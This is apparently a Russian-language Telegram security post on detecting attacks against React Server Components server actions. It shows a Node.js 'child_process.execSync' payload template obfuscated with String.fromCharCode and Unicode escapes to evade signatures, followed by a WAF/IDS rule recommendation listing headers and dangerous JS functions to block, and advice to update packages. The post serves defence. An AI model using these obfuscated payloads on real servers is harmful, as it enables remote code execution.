process.mainModule.require('child_process').execSync('CODE');  ->  Function('return '+String.fromCharCode(112,114,111,99,101,115,115))().mainModule.require('child_process').execSync('CODE’)


Техники можно комбинировать, что усложняет обнаружение.
 \u0046\u0075\u006e\u0063\u0074\u0069\u006f\u006e('return '+String.fromCharCode(112,114,111,99,101,115,115))...


😬 Итог
Обнаружить классическими сигнатурами сложнее из-за вариативности нагрузок и методов обфускации, но лучше иметь какую-то защиту.

Рекомендуем написать правило на WAF/IDS, которое будет блокировать запросы вида метод POST, а также заголовки next-action или x-rsc-action. В том числе если тело запроса содержит ссылки $B, $@, $Q или их Unicode представления и опасные JS-методы или функции, например child_process, String.fromCharCode, _proto_, execSync ,spawnSync, _chunks, _formData, _response, toString. Нужно регистронезависимое правило.

Но самый лучший вид защиты — обновление уязвимых пакетов до новых версий.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1131